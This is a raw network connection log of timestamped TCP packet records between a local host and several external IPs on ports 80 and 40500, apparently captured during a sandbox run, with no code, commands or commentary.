Sep 17, 2024 23:11:16.143019915 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.143032074 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.143045902 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.143060923 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.143083096 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.143498898 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.143513918 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.143534899 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.143546104 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.143878937 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.143892050 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.147854090 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.147908926 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.148838043 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.148875952 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.162252903 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.167094946 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.167273045 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.167273045 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.172111034 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.644561052 CEST	49783	40500	192.168.2.4	31.25.131.226
Sep 17, 2024 23:11:17.848402977 CEST	40500	49783	31.25.131.226	192.168.2.4
Sep 17, 2024 23:11:17.851715088 CEST	49783	40500	192.168.2.4	31.25.131.226
Sep 17, 2024 23:11:17.853007078 CEST	49783	40500	192.168.2.4	31.25.131.226
Sep 17, 2024 23:11:17.857913017 CEST	40500	49783	31.25.131.226	192.168.2.4
Sep 17, 2024 23:11:17.859571934 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.859601021 CEST	49783	40500	192.168.2.4	31.25.131.226
Sep 17, 2024 23:11:17.859657049 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.859673023 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.859805107 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.859806061 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.859930992 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.859945059 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.859960079 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.859975100 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.860070944 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.860070944 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.860306978 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.860323906 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.860338926 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.860481024 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.860481024 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.862684965 CEST	49783	40500	192.168.2.4	31.25.131.226
Sep 17, 2024 23:11:17.864526987 CEST	40500	49783	31.25.131.226	192.168.2.4
Sep 17, 2024 23:11:17.864559889 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:17.864628077 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:17.909380913 CEST	40500	49783	31.25.131.226	192.168.2.4
Sep 17, 2024 23:11:18.881478071 CEST	40500	49773	139.135.146.244	192.168.2.4
Sep 17, 2024 23:11:18.881567001 CEST	49773	40500	192.168.2.4	139.135.146.244
Sep 17, 2024 23:11:22.863308907 CEST	49784	40500	192.168.2.4	178.90.87.64
Sep 17, 2024 23:11:22.868328094 CEST	40500	49784	178.90.87.64	192.168.2.4
Sep 17, 2024 23:11:22.868484974 CEST	49784	40500	192.168.2.4	178.90.87.64
Sep 17, 2024 23:11:22.869652987 CEST	49784	40500	192.168.2.4	178.90.87.64
Sep 17, 2024 23:11:22.874437094 CEST	40500	49784	178.90.87.64	192.168.2.4
Sep 17, 2024 23:11:22.875170946 CEST	49784	40500	192.168.2.4	178.90.87.64
Sep 17, 2024 23:11:22.878333092 CEST	49784	40500	192.168.2.4	178.90.87.64
Sep 17, 2024 23:11:22.879967928 CEST	40500	49784	178.90.87.64	192.168.2.4
Sep 17, 2024 23:11:22.925389051 CEST	40500	49784	178.90.87.64	192.168.2.4
Sep 17, 2024 23:11:23.969578028 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:23.970062017 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:23.974708080 CEST	80	49782	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:23.974756002 CEST	49782	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:23.975193977 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:23.975248098 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:23.975404978 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:23.980185032 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.054464102 CEST	40500	49775	185.131.88.152	192.168.2.4
Sep 17, 2024 23:11:24.054527998 CEST	49775	40500	192.168.2.4	185.131.88.152
Sep 17, 2024 23:11:24.665081978 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665101051 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665111065 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665119886 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665131092 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665141106 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665152073 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665170908 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:24.665215969 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:24.665220022 CEST	80	49785	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:24.665735006 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:24.665766954 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:24.665766954 CEST	49785	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:26.709548950 CEST	49786	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:26.714562893 CEST	80	49786	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:26.714669943 CEST	49786	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:26.714817047 CEST	49786	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:26.719640017 CEST	80	49786	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:27.404637098 CEST	80	49786	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:27.404855967 CEST	49786	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:27.878793955 CEST	49787	40500	192.168.2.4	185.194.125.74
Sep 17, 2024 23:11:27.884053946 CEST	40500	49787	185.194.125.74	192.168.2.4
Sep 17, 2024 23:11:27.884146929 CEST	49787	40500	192.168.2.4	185.194.125.74
Sep 17, 2024 23:11:27.885988951 CEST	49787	40500	192.168.2.4	185.194.125.74
Sep 17, 2024 23:11:27.891092062 CEST	40500	49787	185.194.125.74	192.168.2.4
Sep 17, 2024 23:11:27.891169071 CEST	49787	40500	192.168.2.4	185.194.125.74
Sep 17, 2024 23:11:27.893856049 CEST	49787	40500	192.168.2.4	185.194.125.74
Sep 17, 2024 23:11:27.896085024 CEST	40500	49787	185.194.125.74	192.168.2.4
Sep 17, 2024 23:11:27.941406965 CEST	40500	49787	185.194.125.74	192.168.2.4
Sep 17, 2024 23:11:28.946716070 CEST	40500	49778	178.217.173.26	192.168.2.4
Sep 17, 2024 23:11:28.946866989 CEST	49778	40500	192.168.2.4	178.217.173.26
Sep 17, 2024 23:11:29.426810980 CEST	49786	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:29.427145004 CEST	49788	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:29.434551954 CEST	80	49786	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:29.434684038 CEST	49786	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:29.435009956 CEST	80	49788	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:29.435089111 CEST	49788	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:29.435178995 CEST	49788	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:29.441013098 CEST	80	49788	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:30.236568928 CEST	80	49788	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:30.236762047 CEST	49788	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:32.255641937 CEST	49788	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:32.256064892 CEST	49789	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:32.275820017 CEST	80	49789	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:32.277019024 CEST	49789	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:32.277194023 CEST	49789	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:32.279618979 CEST	80	49788	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:32.279817104 CEST	49788	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:32.307910919 CEST	80	49789	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:32.910583973 CEST	49790	40500	192.168.2.4	151.240.79.133
Sep 17, 2024 23:11:32.921066999 CEST	40500	49790	151.240.79.133	192.168.2.4
Sep 17, 2024 23:11:32.924988985 CEST	49790	40500	192.168.2.4	151.240.79.133
Sep 17, 2024 23:11:32.927073002 CEST	49790	40500	192.168.2.4	151.240.79.133
Sep 17, 2024 23:11:32.936858892 CEST	40500	49790	151.240.79.133	192.168.2.4
Sep 17, 2024 23:11:32.940900087 CEST	49790	40500	192.168.2.4	151.240.79.133
Sep 17, 2024 23:11:33.002780914 CEST	40500	49790	151.240.79.133	192.168.2.4
Sep 17, 2024 23:11:33.049627066 CEST	80	49789	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:33.050770998 CEST	49789	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:34.012903929 CEST	40500	49780	189.134.7.239	192.168.2.4
Sep 17, 2024 23:11:34.017086983 CEST	49780	40500	192.168.2.4	189.134.7.239
Sep 17, 2024 23:11:35.084425926 CEST	49789	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:35.084825039 CEST	49791	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:35.092947960 CEST	80	49791	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:35.093027115 CEST	49791	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:35.093247890 CEST	49791	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:35.095999956 CEST	80	49789	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:35.096054077 CEST	49789	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:35.102078915 CEST	80	49791	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:35.895641088 CEST	80	49791	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:35.900979996 CEST	49791	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:37.957155943 CEST	49792	40500	192.168.2.4	2.135.128.182
Sep 17, 2024 23:11:37.977054119 CEST	40500	49792	2.135.128.182	192.168.2.4
Sep 17, 2024 23:11:37.977194071 CEST	49792	40500	192.168.2.4	2.135.128.182
Sep 17, 2024 23:11:37.981734991 CEST	49792	40500	192.168.2.4	2.135.128.182
Sep 17, 2024 23:11:37.987680912 CEST	49792	40500	192.168.2.4	2.135.128.182
Sep 17, 2024 23:11:37.996598005 CEST	40500	49792	2.135.128.182	192.168.2.4
Sep 17, 2024 23:11:38.048469067 CEST	40500	49792	2.135.128.182	192.168.2.4
Sep 17, 2024 23:11:39.052699089 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.131247044 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.131350040 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.131509066 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.170964003 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.289340019 CEST	40500	49783	31.25.131.226	192.168.2.4
Sep 17, 2024 23:11:39.291559935 CEST	49783	40500	192.168.2.4	31.25.131.226
Sep 17, 2024 23:11:39.986016989 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.986195087 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.986211061 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.986361027 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.986361027 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.986448050 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.986484051 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.986516953 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.986529112 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.986551046 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.986558914 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.986963034 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.987773895 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.987801075 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:39.989710093 CEST	80	49793	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:39.989774942 CEST	49793	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.006160021 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.029025078 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.029115915 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.029292107 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.048291922 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.832546949 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.832598925 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.832653046 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.832653999 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.832695961 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.832695961 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.834614038 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.834651947 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.834676027 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.834686041 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.834696054 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.834723949 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:41.834727049 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:41.834767103 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:43.003959894 CEST	49795	40500	192.168.2.4	2.191.116.122
Sep 17, 2024 23:11:43.013196945 CEST	40500	49795	2.191.116.122	192.168.2.4
Sep 17, 2024 23:11:43.013392925 CEST	49795	40500	192.168.2.4	2.191.116.122
Sep 17, 2024 23:11:43.014558077 CEST	49795	40500	192.168.2.4	2.191.116.122
Sep 17, 2024 23:11:43.018871069 CEST	49795	40500	192.168.2.4	2.191.116.122
Sep 17, 2024 23:11:43.023828983 CEST	40500	49795	2.191.116.122	192.168.2.4
Sep 17, 2024 23:11:43.269581079 CEST	40500	49795	2.191.116.122	192.168.2.4
Sep 17, 2024 23:11:43.976484060 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:43.976872921 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:43.982098103 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:43.982651949 CEST	80	49794	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:43.982734919 CEST	49794	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:43.982995987 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:43.982995987 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:43.988034964 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.243207932 CEST	40500	49784	178.90.87.64	192.168.2.4
Sep 17, 2024 23:11:44.245121002 CEST	49784	40500	192.168.2.4	178.90.87.64
Sep 17, 2024 23:11:44.682634115 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682692051 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682729006 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682775974 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:44.682775974 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:44.682799101 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682832956 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682845116 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:44.682866096 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682876110 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:44.682899952 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682915926 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:44.682940960 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.682950974 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:44.682982922 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:44.691263914 CEST	49791	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:44.696644068 CEST	80	49791	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:44.696721077 CEST	49791	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:44.771183968 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:44.771326065 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:46.801521063 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:46.801769972 CEST	49797	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:46.806791067 CEST	80	49797	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:46.807316065 CEST	80	49796	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:46.807514906 CEST	49796	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:46.807744980 CEST	49797	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:46.807744980 CEST	49797	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:46.814243078 CEST	80	49797	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:47.503910065 CEST	80	49797	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:47.503983021 CEST	49797	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:48.035156012 CEST	49798	40500	192.168.2.4	82.200.224.194
Sep 17, 2024 23:11:48.040345907 CEST	40500	49798	82.200.224.194	192.168.2.4
Sep 17, 2024 23:11:48.040455103 CEST	49798	40500	192.168.2.4	82.200.224.194
Sep 17, 2024 23:11:48.041407108 CEST	49798	40500	192.168.2.4	82.200.224.194
Sep 17, 2024 23:11:48.046421051 CEST	40500	49798	82.200.224.194	192.168.2.4
Sep 17, 2024 23:11:48.046530962 CEST	49798	40500	192.168.2.4	82.200.224.194
Sep 17, 2024 23:11:48.050254107 CEST	49798	40500	192.168.2.4	82.200.224.194
Sep 17, 2024 23:11:48.051373959 CEST	40500	49798	82.200.224.194	192.168.2.4
Sep 17, 2024 23:11:48.097517014 CEST	40500	49798	82.200.224.194	192.168.2.4
Sep 17, 2024 23:11:49.257345915 CEST	40500	49787	185.194.125.74	192.168.2.4
Sep 17, 2024 23:11:49.257592916 CEST	49787	40500	192.168.2.4	185.194.125.74
Sep 17, 2024 23:11:49.552448988 CEST	49797	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:49.552877903 CEST	49799	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:49.557956934 CEST	80	49797	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:49.558027029 CEST	80	49799	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:49.558027983 CEST	49797	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:49.558089972 CEST	49799	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:49.558219910 CEST	49799	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:49.563270092 CEST	80	49799	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:50.288872004 CEST	80	49799	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:50.288975954 CEST	49799	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:52.364315033 CEST	49799	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:52.364716053 CEST	49800	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:52.369961023 CEST	80	49799	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:52.370040894 CEST	49799	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:52.370440006 CEST	80	49800	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:52.370517015 CEST	49800	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:52.370625019 CEST	49800	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:52.375530958 CEST	80	49800	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:53.050717115 CEST	49801	40500	192.168.2.4	159.100.18.229
Sep 17, 2024 23:11:53.055974960 CEST	40500	49801	159.100.18.229	192.168.2.4
Sep 17, 2024 23:11:53.056077957 CEST	49801	40500	192.168.2.4	159.100.18.229
Sep 17, 2024 23:11:53.057291031 CEST	49801	40500	192.168.2.4	159.100.18.229
Sep 17, 2024 23:11:53.062195063 CEST	40500	49801	159.100.18.229	192.168.2.4
Sep 17, 2024 23:11:53.062258959 CEST	49801	40500	192.168.2.4	159.100.18.229
Sep 17, 2024 23:11:53.065824032 CEST	49801	40500	192.168.2.4	159.100.18.229
Sep 17, 2024 23:11:53.067146063 CEST	40500	49801	159.100.18.229	192.168.2.4
Sep 17, 2024 23:11:53.080163956 CEST	80	49800	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:53.080321074 CEST	49800	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:53.117501020 CEST	40500	49801	159.100.18.229	192.168.2.4
Sep 17, 2024 23:11:53.523374081 CEST	40500	49801	159.100.18.229	192.168.2.4
Sep 17, 2024 23:11:53.525106907 CEST	49801	40500	192.168.2.4	159.100.18.229
Sep 17, 2024 23:11:54.289594889 CEST	40500	49790	151.240.79.133	192.168.2.4
Sep 17, 2024 23:11:54.289812088 CEST	49790	40500	192.168.2.4	151.240.79.133
Sep 17, 2024 23:11:55.108004093 CEST	49800	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:55.108171940 CEST	49802	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:55.113316059 CEST	80	49800	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:55.113364935 CEST	80	49802	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:55.113408089 CEST	49800	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:55.113447905 CEST	49802	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:55.113538027 CEST	49802	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:55.118463993 CEST	80	49802	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:55.821461916 CEST	80	49802	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:55.821522951 CEST	49802	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:58.055834055 CEST	49802	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:58.056165934 CEST	49803	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:58.061007023 CEST	80	49802	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:58.061057091 CEST	49802	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:58.061497927 CEST	80	49803	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:58.061559916 CEST	49803	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:58.061697006 CEST	49803	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:58.066606998 CEST	80	49803	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:58.068881989 CEST	49804	40500	192.168.2.4	2.183.100.16
Sep 17, 2024 23:11:58.073709965 CEST	40500	49804	2.183.100.16	192.168.2.4
Sep 17, 2024 23:11:58.073832989 CEST	49804	40500	192.168.2.4	2.183.100.16
Sep 17, 2024 23:11:58.075484991 CEST	49804	40500	192.168.2.4	2.183.100.16
Sep 17, 2024 23:11:58.080251932 CEST	40500	49804	2.183.100.16	192.168.2.4
Sep 17, 2024 23:11:58.080332041 CEST	49804	40500	192.168.2.4	2.183.100.16
Sep 17, 2024 23:11:58.084441900 CEST	49804	40500	192.168.2.4	2.183.100.16
Sep 17, 2024 23:11:58.085176945 CEST	40500	49804	2.183.100.16	192.168.2.4
Sep 17, 2024 23:11:58.137394905 CEST	40500	49804	2.183.100.16	192.168.2.4
Sep 17, 2024 23:11:58.781685114 CEST	80	49803	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:58.781922102 CEST	49803	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:59.417567015 CEST	40500	49792	2.135.128.182	192.168.2.4
Sep 17, 2024 23:11:59.417629004 CEST	49792	40500	192.168.2.4	2.135.128.182
Sep 17, 2024 23:12:01.820632935 CEST	49805	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:01.826858997 CEST	80	49805	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:01.826973915 CEST	49805	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:01.827614069 CEST	49805	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:01.833570957 CEST	80	49805	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:03.094202042 CEST	49806	40500	192.168.2.4	5.232.149.197
Sep 17, 2024 23:12:03.099176884 CEST	40500	49806	5.232.149.197	192.168.2.4
Sep 17, 2024 23:12:03.099275112 CEST	49806	40500	192.168.2.4	5.232.149.197
Sep 17, 2024 23:12:03.100579977 CEST	49806	40500	192.168.2.4	5.232.149.197
Sep 17, 2024 23:12:03.105349064 CEST	40500	49806	5.232.149.197	192.168.2.4
Sep 17, 2024 23:12:03.105410099 CEST	49806	40500	192.168.2.4	5.232.149.197
Sep 17, 2024 23:12:03.110304117 CEST	40500	49806	5.232.149.197	192.168.2.4
Sep 17, 2024 23:12:03.112693071 CEST	49806	40500	192.168.2.4	5.232.149.197
Sep 17, 2024 23:12:03.161509037 CEST	40500	49806	5.232.149.197	192.168.2.4
Sep 17, 2024 23:12:03.474992037 CEST	80	49805	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:03.475094080 CEST	49805	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:03.486643076 CEST	49805	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:03.492096901 CEST	80	49805	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:04.399480104 CEST	40500	49795	2.191.116.122	192.168.2.4
Sep 17, 2024 23:12:04.399570942 CEST	49795	40500	192.168.2.4	2.191.116.122
Sep 17, 2024 23:12:05.505841970 CEST	49807	80	192.168.2.4	77.91.77.92
